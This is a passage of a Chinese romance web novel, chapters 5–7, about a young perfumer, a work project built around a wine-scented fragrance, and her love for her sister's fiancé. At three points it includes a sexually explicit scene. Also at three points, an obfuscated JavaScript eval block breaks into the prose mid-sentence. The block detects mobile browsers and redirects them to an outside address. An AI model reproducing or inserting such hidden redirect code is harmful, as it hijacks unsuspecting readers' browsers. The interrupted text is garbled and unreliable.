她想提醒徐清聿,却不小心撞上他平静的视线。 云听羞赧地别回头,咬住下唇,耳根发烫,“徐、徐清聿,你、裤子…” 内心已然乱成一团,心跳愈发失控。 白皙的脖子暴露在徐清聿的眼前,脉搏在肌肤下跳动着。 徐清聿眼神一沉,沉默地摘下眼镜,让视线更加清晰,“云听。” “徐清聿…我什么都没看到…” “你和唐老师的事…我不是故意偷看的,我也不会、不会告诉徐叔叔的…” 云听的衣服很薄,衣料贴在肌肤上,能清楚地看到脊骨的形状,散落的黑发又长又直,更衬得皮肤白皙。 徐清聿问:“我怎么相信你?” 他并不怕云听告状,只是看到她这副谨小慎微的模样,心中不免有些好笑。 “啊?”云听抬起头,眼神茫然。 在徐清聿不辩情绪的注视下,她紧张地举起手,对天发誓:“我保证、我不会乱说的。” 她歪着头,脸上的小表情让她有一种傻傻的可爱。 18岁的云听像只小白兔,怯生生的,又很无辜。 “嗯。”徐清聿喉结滚动,不知怎么地又补了一句,“可是我,不信。” 他是相信云听的,至于为什么多补一句,徐清聿也不知道,大概是觉得好玩。 云听问:“那、你要怎么才能相信我?” 徐清聿说:“跟我上.床。” 没有镜片的遮挡,他的眼睛更加漂亮。睫毛长而密,眼尾自然上翘,懒散又诱人。 “啊?”云听呆呆地张开嘴,一脸木然,“真、真的吗?” 徐清聿把药膏放回原位,淡淡地说:“假的。” * 之后的日子,两人各自忙碌,又恢复最初的冷淡与距离。遇见时,彼此点头示意,话语寥寥。 八月末来临,云听即将返校的日子逼近。 离开前,她想送徐清聿礼物,感谢他这段日子的收留。 但她拿不定主意,一来她不了解他,二来他什么都不缺。 云听撑着伞,漫无目的走在街上,直到看见一家温馨的花店。 她走了进去,目光停在一盆洁白的玛格丽特上,小小的花朵层层簇拥,白色花瓣环绕着金黄色的花蕊,纯洁无瑕。 店员微笑着走上前,轻声问道:“小姐,喜欢玛格丽特吗?” 云听点了点头,问:“这花,有什么寓意吗?” 店员耐心解释:“据说16世纪一位挪威的公主,十分喜欢这种清新可爱的花,所以用自己的名字给它命名,玛格丽特也叫少女花。” “她的花语是‘隐藏的爱’和‘纯洁的心’。” “这种花有一个古老的传说,它不仅能带来美好的祝福,还能预测爱情。古时候的人们会一片片摘下花瓣,一边默念着‘他爱我’、‘他不爱我’,直到最后一片花瓣落下,以此探寻自己心上人的心意。” 听到店员的讲述,云听心底未曾说出口的情感在悄无声息发芽。 无论徐清聿能否理解其中的含义,她都希望能借此将自己的心意告诉他。 徐清聿接受了花。 可没过几天,他便登上飞往国外的航班,一走就是三年。 那盆玛格丽特,也许无人照料,早已枯萎凋谢,化为寂寞的灰色残骸。 云听回到学校后,生活归于平静,忙碌的学业和充实的生活让她无暇多想。 可是,在夜深人静的时刻,她会不由得想起那段日子。 如果当初徐清聿说要和她上.床,她的第一反应是点头,会有什么不同? 不过,幸好她没有点头,因为后来的徐清聿会和云闻订婚。 与此同时,唐瑶在微博上也销声匿迹了,最后一条动态的发布时间是云听撞见她和徐清聿“暧昧”的那一天。 云听暗自推测,也许这只是唐瑶一厢情愿的单恋,她主动靠近徐清聿,而徐清聿并未回应。 因为徐清聿身体没有反应,美色当前,他坐怀不乱。 这份自我安慰没有持续太久。 九月的某一天,唐瑶终于更新了一条微博,内容是“勇敢追爱。” IP地址显示的是M国。 难道唐瑶对徐清聿的感情深厚到不惜追随他到异国他乡? 这个猜想让云听的心情复杂至极。 如果是她,她不会为了徐清聿放弃现有的工作,去陌生的城市。 云听也尝试理性分析,或许只是恰巧,唐瑶和徐清聿的离开并无关联。 可当她看到微博上粉丝们关切的留言、疑问与猜测,她的内心又一次动摇了。 “唐老师为什么去M国了?” “老师是追随谁而去的吗?” 都是加重她疑虑的催化剂。 日复一日,内心的困惑和不安如不断滋长的种子,最终化作一棵纠结错乱的参天大树。 过了一年,唐瑶又发了一条,言简意赅三个字: 追到了。 失恋的痛随辛辣的酒一同消散,醉一场后,云听强迫自己无视这些无关紧要的情感,专注于生活和学业。 两年后,徐清聿回国了。 好消息,他现在单身。坏消息,他马上会是自己的姐夫。 就算没有唐瑶,徐清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698976|157004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聿也不会喜欢她。 * 云听这一番话,无疑佐证了唐瑶的部分说法。 云闻安静地听云听讲完,深吸一口气,苦着脸喃喃自语,“白白让徐清聿看了老娘的身材,亏死了。不行,我不要嫁给他,听宝,你也不能嫁。我要和爸妈说。” 在此之前,她要先去抒发她的不爽。 她掏出手机,左右手交替快速打字:「聿哥,不要讳疾忌医呢」 徐清聿:「?」 云闻从小就是这样,从不畏惧表达自己的想法,尤其在徐清聿面前,更是肆无忌惮。 因为徐清聿对她一向宽容。 被偏爱的人都有恃无恐。 说到底云听是羡慕的。 换作是她,她绝不会对徐清聿说这样的话。 她面对徐清聿总是小心翼翼,不敢越雷池一步,生怕说错了话会让他不悦。 她想象不出,自己能像姐姐这样毫无顾忌直言不讳的样子。 云闻接着发:「聿哥,咱们不结婚好吗?」 起初,云闻知道自己要和徐清聿结婚时,心里没有特别的抗拒,反而隐隐有些期待。 她清楚她对他没有真正的感情,只是一个家族联姻的安排,但她也并非完全无动于衷。 毕竟徐清聿长得极为出众,五官俊美,气质清冷而克制,举手投足间都带着一股令人难以忽视的魅力。 即便他平日里总是穿得很严实,外套的扣子永远扣到最上方,衣领整齐得一丝不苟,但她依旧能够看出他身材的完美轮廓。 工作的原因,云闻时常会观察徐清聿的背影,挺拔的身姿、紧绷的肌肉线条,无一不让她感到一种压抑着的吸引力。 虽然看不到内里,但她可以想象,那层衣料之下的身材绝不会逊色。 这场婚姻未必会带来情感交流,但如果他们之间能有酣畅淋漓的肉.体关系,那也未尝不是一种满足。 对云闻而言,情感固然美好,但没有情感的婚姻中,如果能够拥有彼此在身体上的亲密关系,她也能接受。 她知道自己的想法或许肤浅,但她并不在意。 她不求在这段婚姻中获得太多的爱,对未来也无太多幻想。 她要的只是一个安稳的婚姻,一个能令她感到愉悦的伴侣,徐清聿的外貌和身材,正好满足了她内心最基本的需求。 只是后来,云闻得知云听喜欢徐清聿。 又得知,徐清聿有病。 云听推己及人,想得很简单,云听和徐清聿已经认识十多年,要是能日久生情早就在一起了。 可想而知,“日”不能做名词,只能做动词。 先做后爱又不是不会发生。 但前提是,能做。 她不能让云听羊入虎口,如果不是她以身尝试,按照云听的性格,会憋着,会保护徐清聿的尊严,因而委屈自己。 她绝不允许。 动词也行不通,那眼下最好的办法,就是取消婚礼。 有点难,云闻扶额叹息。 云听知晓云闻对徐清聿也有好感,她开口安慰道:“姐,徐清聿是喜欢你的,只是…” 云闻拽住她的脸,把握力道向外一扯,骂骂咧咧,“喜欢个屁,你见过一个男人碰到喜欢的女生硬不起来的吗?” “可是,徐清聿想和你生孩子。” 云闻仿佛听到了什么荒谬的笑话一般,一边摇头一边大笑,“你就是把聿哥想得太好了。” “听宝,你没发现聿哥很喜欢欺负你吗?” 5. 第五章 次日。 Aurora研发部会议室,深棕色的实木长桌提前摆放了数十份文件和热茶。 云听走进会议室,环顾了一圈。 靠近门口的位置,几位早到的领导围在一起窃窃私语。她在末端的位置坐下,将笔记本打开。 领导和各部门负责人陆续到场,直到最后一位与会者推门而入。 坐在主座的路总Ethan脱掉深灰色的大衣,轻咳一声,开始今天的会议。 “各位,早上好。今天召集大家,是为了讨论明年冬季香水新品之一的设计方向。公司需要一款独具创意且具有市场竞争力的产品。经过多方调研和综合分析,我们决定尝试一个大胆又保守的主题——‘酒’。” 这简单的一个字一出口,会议室顿时陷入短暂的静默。 随即,几名市场部和调香部的资深负责人开始低声交流,有人赞同,也有人心存疑虑。 云听坐在一旁,在纸上记录下关键词。 “酒的主题非常有挑战性,”Ethan继续说道,“它的保守在于,这并不是一个全新的概念。近年来,酒味香水层出不穷,从红酒的浓郁与温柔,到威士忌的烟熏与深邃,再到清酒的淡雅与剔透,市场上已经有不少品牌尝试过这个方向。” “法国Maison ?ternelle推出的一款以波尔多红酒为灵感的香水,主打前调的葡萄酸甜与木质的醇厚后调,市场反响不错;还有意大利E.E品牌,以威士忌酒桶为元素,融合了烟熏与木香,极受男性消费者喜爱。” 他的话引来几位市场部成员的附和。 很明显,从市场角度来看,这一方向具有一定的安全性。 然而,Ethan话锋一转,严肃道:“但正因为如此,这个方向也是一个极其大胆的尝试。我们必须清楚,酒味香水在市场上的竞争已经非常激烈。想要在这种氛围下脱颖而出,绝不是一件容易的事。” “消费者对酒主题的香水并不陌生,也不会轻易被取悦。他们需要的是一种能够超越现有产品、带来全新感官体验的香水。否则,我们的新品只会成为酒香水市场上的又一款‘平庸之作’,淹没在竞品的浪潮中。” 市场部经理莫音推了推眼镜,截断他的话:“Ethan,您的想法我完全认同,但如何实现这种突破?在现有的竞品压力下,如何创造独特性,是我们不得不面对的问题。” 另一位调香师也提出了疑问:“酒的香气复杂而难以驾驭,尤其是如何平衡酒的独特气息与香水本身的层次感,是一项极高难度的任务。如果不能处理好,很容易让香水变得单薄,甚至刺鼻。” Ethan闻言挥了挥手,示意大家稍安勿躁:“我理解大家的顾虑,但正因为挑战大,才需要我们打破常规、创新突破。为了确保项目的顺利进行,这次,我决定将任务全权交给小云负责。” 话音刚落,整个会议室又陷入死一般的寂静。 窗外的风雪拍打玻璃窗,为此刻凝滞的空气增添了一份冷意。 所有人的目光齐刷刷地投向坐在长桌角落的云听,神情各异——惊讶、质疑、不满、嫉妒。 云听抬起眼眸,迎向那些或隐或显的审视,背脊挺得笔直。 这个决定不会轻易得到所有人的认可。 在场的大多数人都是业内资深的调香师,不少人更是出自调香世家。 从小耳濡目染,许多人甚至是第三代、第四代调香师,他们的家族名字就是香水行业的名片。 然而,她,年纪轻轻,却没有任何家族调香背景。 她是单枪匹马杀出另一片天地的“异类”。 半年前,她空降进入全球顶尖的香水公司“Aurora。” 没有世家的庇护,没有父辈的资源,她依靠的是自己的实力。 从大四时开始,云听便在国际调香大赛上崭露头角,连续三年拿下冠军。 实验报告和论文在行业权威期刊上多次发表,被业内称为“天才调香师”。这些荣誉成就了她,也让她成为一个备受瞩目的“靶子”。 入职后,公司破格为她设立了一间独立实验室,直接配备了完整的研发团队。在一个以资历和传承为衡量标准的圈子里,她的出现无疑是一场地震。 所以,对许多资深调香师而言,她的存在打破了他们惯有的认知,也威胁到了他们的地位。 更多的人对她抱有敌意和轻视,其中不乏已经在公司效力多年的调香师。 他们认为云听不过是一个过于幸运的年轻人,或许在创意上有一两分天赋,但缺乏真正的沉淀和经验。 即使Ethan语气不容置疑,但也未能打消众人沉默背后的情绪。 另一位调香师忍不住开口,质疑他的决定:“Ethan,我理解您想创新的意图,但像酒这样的主题,对香料的精准控制要求极高。如果稍有不慎,最终的产品可能会偏离市场需求。这种复杂的项目,是否更适合由我们资历更深的调香师负责?” 与她交好的另一位调香师道:“没错,这不仅仅是技术问题,还有市场调研、团队管理和多部门协作的协调能力,这些都需要经验去支撑。” 其他人没有说话,用沉默表达了类似的态度。 见状,云听站起身来,不卑不亢道:“感谢各位的建议,也谢谢Ethan对我的信任。我明白,作为一个新人,我的资历和经验确实不如在座的各位前辈,但我也希望你们明白,资历和经验并不是创新的唯一标准。” “酒的主题确实复杂,但也正是因为它复杂,才需要用全新的视角去解读它。如果只是循规蹈矩地沿用传统的方法,我们可能永远无法让它在市场上独树一帜。而我,正是因为没有包袱,可以更自由地去探索它的可能性。” “至于大家提到的团队管理和协作问题,我希望用行动和结果来证明,我可以胜任这个任务。这个项目不仅仅是我的挑战,也是团队的机会。如果最终的成果能够让我们的品牌在冬季市场大放异彩,我相信大家都会感到骄傲。” 全场鸦雀无声。 沉默了片刻后,有人低头翻起了前面的文件。 Ethan看向云听,微微点头,对她的表现颇为满意。 散会后,云听没有急着离开,等到其他人都走后,才收拾自己的笔记本。 Ethan脸上浮现笑意:“小云,怎么还没走?今天的表现已经很棒了,还在担心什么? 沉吟片刻后,云听深吸了一口气,“师父,我只是……觉得自己经验还不足,担心会辜负您的信任。” Ethan放下手中的文件,似乎在怀念过去,“别这么说,你能走到今天,靠的都是你自己的努力。我还记得你大一那年,刚去“京云”实习傻乎乎的样子。” 云听抿唇笑了笑,眼里带着点不好意思,“我也记得,那时候我忙得焦头烂额,还给您添了不少麻烦。” “麻烦倒不至于。”Ethan笑着摇头,温和地说:“但你那时候的认真劲儿确实让我印象深刻。就算不懂,也从不敷衍,总是努力去学。你是我见过少有的对调香有天赋又真正热爱的人。” “师父,您的教导对我来说真的很重要。没有您的耐心教导,我可能早就放弃了。” Ethan感慨地说:“其实,我从你身上学到的也不少。你的坚持和细腻,常常让我想起自己刚入行时的样子。” “我相信你。酒的主题虽然是挑战,但也正是你的细心和创意让我觉得,这是你的项目。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698977|157004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云听刚想点头,注意到Ethan肩膀上沾着几根细细的白色毛发。她伸手指了指:“师父,您的大衣上粘了不少猫毛,小心被师母看到。” 话音未落,Ethan脸色肉眼可见地紧张起来。他低头拍了拍大衣上的毛发:“啊小云,多亏了你提醒。” 云听忍俊不禁,看着一向温文尔雅的师父难得露出慌乱无措的表情,她补了一句:“您这还打算瞒着师母多久啊?” “能瞒一天是一天吧。”Ethan叹了口气,“哦对了,你和我侄子怎么样了?还有联系吗?” Ethan的侄子叫祁修泽,比云听小两岁。 剑眉星目,鼻梁高挺,再加上他出身优渥的家庭,风度翩翩。 云听第一次见到他是在“京云”的实验室,那时候她刚实习不久。 16岁的祁修泽一身休闲装,倚在门框上,主动伸出手,“你好,我叫祁修泽。” 云听礼貌地回握了他的手,“云听。” 两人现在是朋友的关系。 Ethan突然问:“小云,你是有喜欢的人了吗。” 云听被戳中,脸上发烫,手指捏着笔盖,有些不知道怎么接话。 Ethan没有点破,只是看着她,语气渐渐柔和下来:“喜欢,是一件很美好的事。” 他顿了顿:“说到酒这个主题,你不是一个人在战斗。修泽对酒很有研究,你如果有什么不懂的,可以去问他。” “他?” “是啊,他从大学起就对酒文化感兴趣,没少研究。威士忌、红酒,甚至清酒的发酵工艺,他都了解得不少。他虽然年轻,但在这一点上,绝对能帮到你。” “谢谢师父,我会考虑的。如果有需要,我会联系他。” 从办公室出来,云听转身去了卫生间。 推开卫生间的门,她隐约听到里面的谈话声。 两个同事站在镜子前补妆,言语间尽是些刺耳的嘲讽。 “你说,她也太能装了吧,凭什么她一个新人就能拿到这么重要的项目?” 另一个人冷笑了一声:“还能为什么?还不是靠脸?你没看Ethan对她多偏心。” “是啊,哪有这么巧,刚来公司不到半年,就有独立的团队,啧啧……” “啧,有些人,就是会利用自己的‘优势’。” 听到这里,云听脚步顿了一下。她站在隔间门内,手扶在门把上,眼神平静,没有推门进去的意思。 “不过她长得确实好看啊,男人看她的眼神,都不一样。”一个人咯咯讥笑了两声,言语中是掩饰不住的酸意。 另一个人接话:“哼,好看有用啊?还不是得靠身体,靠那些……你懂的。” 云听闭了闭眼,原本平和的心情被这些话激起了一丝涟漪。 但她很快调整好情绪,面色如常地推门走了进去。 “砰——” 两个同事瞬间愣住了,转过头看到是云听时,脸上的表情从轻蔑转为惊慌。 云听没有看她们,径直走到水池前,打开水龙头,慢条斯理地洗手。 她挤了些洗手液,双手交叠,仔细地搓揉着指缝,神情淡然,仿佛没听见刚才的那些议论。 两个同事站在一旁,既尴尬又心虚,但不敢开口解释。 云听关掉水龙头,抽出纸巾擦干手,“有空站在这里议论别人,不如多花点时间提升自己。嘴里的酸意多了,对职业生涯可没什么帮助。” 两个同事完全说不出话来。 云听朝她们一笑,推门离开。 心脏有点儿疼,她吐出一小口气。 祁修泽主动给她发了消息:「小云,小舅和我说了你的需求。下周五,Lune Noire酒吧见?」 6. 第六章 18:00,云听走出公司大门时接到孟妍的电话。 “小听,快回来一趟,你姐姐又闹起来了!不想嫁就不想嫁,还非要说我们不讲理。” 云听揉了揉眉心,她原本与好友辛亦桐有约。但显然,今晚的安排不得不改变了。 滴滴穿行在夜色中,车内的广播声轻柔清晰,随着电台主持人悠扬的语调,传递出一段伤感的故事: “今天的心灵故事,想要送给所有犹豫不决的女生。勇敢一次,去追求你想要的爱。也许答案并不重要,但至少,你不会因为没有尝试而后悔。” 云听靠在车窗旁,望着窗外倒退的街景,专心地听广播娓娓道来。 司机师傅瞥了她一眼,从后视镜中看到她蹙起的眉头,他没有打扰,将广播音量调轻了一点。 故事很简单:一个女孩喜欢一个男孩多年,一直没有勇气告白。后来男孩结婚了,女孩去参加婚礼,站在人群中笑着祝福,却在回家后独自流泪。 主持人温柔的声音在车内回荡:“不要让自己留有遗憾,人生短暂,不试试怎么知道结果呢?” 云听的思绪不由得飘回了六年前。 她觉得她的喜欢就像一块玻璃,稍微用力就会破碎。 云听害怕失去这份仅存的脆弱的关系。 虽然她和徐清聿不算熟络,但至少能每天见面,能在同一个屋檐下相互问候,这已经是她的全部了。如果告白,如果失败,他们连这点相处的可能性都会消失。 她不是一个勇敢的人,至少在感情方面。 “快到了,小姐。”司机师傅亲切的声音拽回云听飘远的思绪。 云听从回忆里挣脱,抬起头。 “工作很累吧?一路上您都没说话,看起来心事挺重的。” 云听摇头,“没什么,就是有点走神。” 司机见状,也不多问,只是点点头,笑着说道:“没事儿,生活嘛,难免有点烦心事。说出来就好,自己闷着反而更累。” “生活再难,车还是得往前开,人呢,也是一样,别老盯着后视镜,看前面就好了。” 这句话简单直白,云听脸色稍缓,“谢谢您,师傅。” 司机耸了耸肩,看得比谁都通透,“您别看我是开出租车的。接人送人这事儿,看着简单,可要是真想做好,也得讲究点。你得知道目的地在哪儿,也得知道什么时候该出发,什么时候该停车。人生这事儿,其实也差不多。” “师傅,您这话是什么意思?” 司机微微一笑,双手稳稳地握着方向盘:“意思很简单啊。遇到想去的地方,就得敢出发,别等太久。” 他顿了顿,目光专注地盯着前方的路:“就像咱们这行,错过一个好单子,心里得后悔半天。人生呢,更是这样。遇到重要的事儿,就得抓住机会,别让自己以后想起来后悔。” 云听沉默不语,司机的话像是在她心里投下了一块石子,激起层层涟漪。 司机见她没说话,道:“姑娘,我不知道你在纠结啥,但我瞧着,你应该是个有想法的人。你要是心里有个‘目的地’,就别怕麻烦,勇敢点儿,直接去试试,成不成都是另一回事儿。” … 不知不觉,车子已驶到目的地。 望见熟悉的小区入口,云听再次道谢,付了车费后推开车门。 寒风袭来,她拢了拢外套,抬头看见家家户户的暖色的灯光,心情复杂。 推开家门,客厅里的气氛依旧沉重,凝固了的空气中飘着一股紧张的火药味。 云闻坐在沙发上,双手环胸,脸上的表情又气又倔;孟妍则站在茶几旁,不时挥着手,激动地争论几句。 云渡靠在沙发另一边,抱着水杯装作若无其事。 “爸妈,姐,我回来了。”云听换好鞋子,打破僵局。 孟妍立刻转头看她,看到了救星一般:“快小听,来劝劝你姐姐!清聿这么好的结婚对象,她居然说不想嫁!” 云闻冷哼一声,反驳:“我就是不想嫁!什么叫好对象?我喜欢他吗?我爱他吗?你们问过我吗?他喜欢我吗?他爱我吗?你们问过他吗?” 云听连忙走到两人中间,摆摆手试图缓解气氛:“好了好了,别吵了!妈,姐,你们冷静一下行吗?” 孟妍转过身,不再多说。 云闻不肯善罢甘休,指着孟妍说道:“21世纪,娃娃亲,说出去不觉得好笑吗?” 云听坐到云闻身边,伸手拍了拍她的背,给她顺顺气。两次深呼吸后,她下定了决心问:“姐,你真的不喜欢徐清聿吗?” “听宝,我不喜欢。” 再三确认后,云听抬起头,郑重对孟妍说:“妈妈,我想和徐清聿结婚。” 此话一出,客厅寂然,三个人直勾勾地看着她。 孟妍问:“小听,你说什么?” “我想嫁。”云听直视孟妍,“妈,我喜欢他。我一直喜欢他。如果姐姐不愿意,那我愿意。” 孟妍瞪大眼睛,不可置信地望向云听,声音陡然拔高:“你说你喜欢清聿?你从什么时候开始……” “很久了,但既然姐姐不喜欢他,不愿意嫁,那我想争取一次,哪怕他不喜欢我,我不想后悔。” 气氛如一根拉到极致的弦,紧绷得令人窒息。 云渡咳嗽了一下。 孟妍皱起眉,冷冷地吐出几个字:“小听,你不行。” “妈,为什么我不行?” 孟妍没有抬眼看她。过了几秒,她模棱两可回答:“你的职业……不适合清聿。” “职业?我的职业有什么问题?” 孟妍抬头看了她一眼,眼神染上些许复杂的情绪,而后很快低下头,避开云听探寻的目光。 她没有解释,起身收拾起桌上的杯子,“总之不行,你别再提了。” “下周日,订婚典礼。” * Kai:「Zeph,听说你要结婚了?!」 Kai:「那个……你们中文叫啥来着?恭喜,祝你们,白什么?啊!白头尾」 Elliot:「白头到尾。」 Elliot:「呸,被你这个傻逼影响了,白头到老」 Kai:「你才是傻逼!」 Kai和Elliot是徐清聿在国外读书时认识的。 Kai是典型的M国人,身材高大,性格外向。中文不太好,能看懂,但不会说,却偏偏喜欢用中文聊天,中文水平介于“基础”和“自由发挥”之间。 Elliot是华裔,性格相对稳重些,偶尔也暴躁。 徐清聿:「嗯」 Elliot:「Zeph,说真的,什么样的美女能让你动了凡心?」 Elliot:「漂亮到哪种程度?像电影明星?还是会弹钢琴?」 Elliot:「Zeph,像你这样冷淡的人,就喜欢那种特别热情的?火花撞冰山?」 徐清聿:「的确热情」 Elliot:「哈哈哈,我就说吧!你这种冷冰冰的人,就需要一个热情的老婆,跟你互补!」 徐清聿:「她对我没有感情,我也没有」 Kai:「!!!」 Elliot:「???」 徐清聿没有再回复,起身去卫生间洗澡,将手机放在洗手台上。 平日里,他鲜少洗澡时带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698978|157004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机进来。但今天,似乎受到了潜意识的驱使。 他脱下衣服,将衣服整齐地挂在一旁,接着解开皮带。 手机屏幕亮了一下,上面显示了一条新消息。 是云闻发来的。 徐清聿拿起手机,点开微信,看到消息的内容只有一张照片,没有文字。 他一眼就能分辨出这不是云闻。 照片里的云听睡着了。 房间的暖气显然开得很足,被子松松垮垮地盖在她的腰间,她只穿了一件浅色的吊带睡衣,薄薄的肩带滑落在手臂上,露出白皙的肌肤和修长的脖颈。 凌乱的长发散落在肩头,发丝遮住了她的脸颊,但依稀可以看到她眼尾红红的,像是刚刚哭过。 什么都没露,又像是什么都露了。 那种脆弱的美感让人不自觉地生出冲动。 一种近乎占有的冲动。 徐清聿喉结滚动了一下。 手机又震动,云闻发来第二条消息。 云闻:「聿哥,不好意思,发错人了!你就当啥都没看到。」 徐清聿盯着看了很久,神色无异地保存照片,回:「嗯」 … 浴室氤氲出一层薄雾,水流沿着徐清聿宽阔的肩膀滑下,冲刷他结实的肌肉。 他身材极好,常年久坐,却没有一丝赘肉。 肩宽腰窄,线条分明,胸肌饱满而不夸张,显露出一种极为匀称的美感。腹部更是平坦紧致,六块腹肌如刀刻般排列整齐。 胸膛起伏间,他缓缓抬起头,常年的手术训练让他的手既敏感又精确,亦能控制速度。 他抬起手臂,速度加快,手背上的青色血管清晰可见,随着动作愈发明显。 墙上溅落温热。 闷热的浴室飘过淡淡的腥味。 “云听。” * 群里,Elliot和kai的消息接连不断。 Elliot:「Zeph,像你这种无欲无求的人,的确不像是会喜欢别人的人!你一天到晚就知道工作、工作、再工作!感情对你来说根本不重要吧」 Kai:「长,不懂」 Elliot:「性.冷淡,Sexual apathy」 Kai:「!!!」 Kai:「Zephyr,I know a doctor who is incredibly skilled in treating this kind of condition.」 … 徐清聿闭着眼睛,发泄过后的喘息声沉而不稳,宛如一头尚未平息怒意的野兽,被一种难以言喻的暴戾气息笼罩。 积压在心底的东西,显然不是一次简单的发泄能够彻底驱散。 倾泻的欲.望在空气中还未完全散去,房间里静得可怕。 徐清聿整个人透出一种近乎自我折磨的克制感。他的手再次抬起,却在半空中停顿了,最终垂下。 不够。 不满足。 几秒钟后,他转身关掉花洒,水流戛然而止。 他拽过一旁的浴巾擦干,穿上衣服出去。 徐清聿:「Dr.M,I was just thinking about my future wife’s younger sister, and…(迈克尔医生,我刚刚想着我未来妻子的妹妹…)」 徐清聿:「This is the second time(这是第二次)」 Dr.Michael:e over when you have time.(有时间过来一趟)」 7. 第七章 “如何找出酒的灵魂,把它转化为消费者能感知的嗅觉语言?” “如何用气味讲述一个与众不同的故事? 一个个接踵而至的问题像一股股暗流,搅得云听头疼不已,疼痛顺着神经传导下来,胸口也跟着抽紧。 她翻阅手边的资料,指尖掠过标注重点的地方。 眼皮沉重得像挂了铅坠,字也在纸上模糊不堪,漂浮、扭曲,不受控制地飞舞,让她无法沉下心来。 云听阖上双眼,按揉太阳穴,工作上的难题让她如置深海,昨晚的吵架又留下情绪后遗症。 缓了一会儿,无果。 她颓然地靠在椅背上,闭上眼,尝试深呼吸,可效果仍然微乎其微。 又缓五分钟,她起身去了茶水间。 公司今天换了一种咖啡豆,云听视线扫过,上面映着“Ethiopian Yirgacheffe”几个大字,下面还有一行人工手写的标注:芳香四溢,柑橘和茉莉花香。 她不喝咖啡,倒是喜欢咖啡的香味。 咖啡豆倒入磨豆机,细碎的撞击声伴着豆子的香味立刻涌了出来,高贵的香调让她清醒了一瞬。 热水缓缓注入,咖啡粉翻腾并释放出深浓的棕色液体,蒸汽升腾。 云听站在一旁,双手环抱,神情有些怔然,盯着咖啡一滴滴机械化地流入壶中。 尽管思绪被头疼和昨晚的争执打乱,云听回到办公室后还是将工作计划仔细调整了一遍,标出优先级,准备在团队会议上分配任务。 下午的团队会议,她将计划投影在屏幕上时,逐条向团队成员讲解:“时间紧,我们要在一个月内完成初步的香调选择,所以请大家集中精力,特别是调研组,务必拿出可靠的市场数据。” 她用激光笔指着几处重点:“威士忌香调厚重,烟熏与橡木气息更符合男性审美,常象征成熟与力量,适合定位商务或私密场景。” “而白兰地与香槟则以柔和果香和清新气泡捕获女性青睐,易与浪漫、庆祝等场景联结,适合作为女性市场的突破点。” “伏特加中性清冽,风格多元,既适合年轻消费者的个性表达,又能通过调酒突破传统界限,兼容多元消费需求。” “每个香调的实验成本我已经初步核算,相关负责人可以在会后确认具体细节。” * 忙碌了一下午,时间一晃到下班,云听合上笔记本,准备离开。 走出办公楼时,夜幕已经降临,冬夜的风透着一丝寒意。 路灯的光晕被寒气裹挟,散成一片朦胧的橙黄色,在湿冷的空气孤寂不已。 她拉紧大衣,拨通辛亦桐的电话。 “云云,忙完了吗?”对面接通电话。 “下班了,过来找你。”云听笑了笑,轻灵的嗓音掺了些倦,“你不是今天晚上有课吗?我去听听。” 辛亦桐笑声爽朗:“好啊,你昨天放我鸽子,我等着你的补偿呢!” 云听爽快答应:“没问题。” 辛亦桐默了一秒:“不过我讲的是《大学生的爱情与性》,你确定要来听这个?” “正好最近压力大,听听课,换换脑子。” “那建议你吃完饭再过来,我这下课已经八点了。” “好的。” 云听赶到教室时,辛亦桐正在调试投影仪。 教室里的学生三三两两地坐着,她选了个靠后的位置,低调地缩在角落里。 辛亦桐注意到她,朝她招手。 她回以一笑。 云听研究生毕业半年多,重临校园,不免有些怀念。 看到熟悉的讲台、课桌和陌生的面孔,脑海里浮现出几年前的记忆。熬夜赶论文的日子、和好友在自习室偷偷聊未来的无数夜晚,仿佛就在昨天。 可惜时间不可逆转,如今的她只是一个路人,暂时走进了旧时光。 打铃声响起,辛亦桐在屏幕上放出今天的课题:“性与爱——它们总是相伴而生吗?” “大家觉得,对一个人产生性冲动,是否就意味着爱?”辛亦桐轻松地抛出问题,丢给底下的学生。 与其他枯燥、长篇大论的课程不同,这门关于性与爱的选修课显然让人精神一振。 有的学生放下手机,有的目不转看着讲台。 教室无声了片刻,而后一个男生举手发言:“我觉得性冲动和爱是不同的,性冲动更像是一种本能,而爱则是一种情感,包含了更多的责任和深度。” “没错,这是一种常见的观点。”辛亦桐点点头,“但也有人认为,性冲动是一种情感的外在表现,代表这个人对你有强烈的吸引力,甚至可能是爱的一部分。你们怎么看?” 另一名女生接过话:“我觉得性冲动可以是爱的开始,但不一定代表爱。有时候只是短暂的欲望,不一定能持续。” 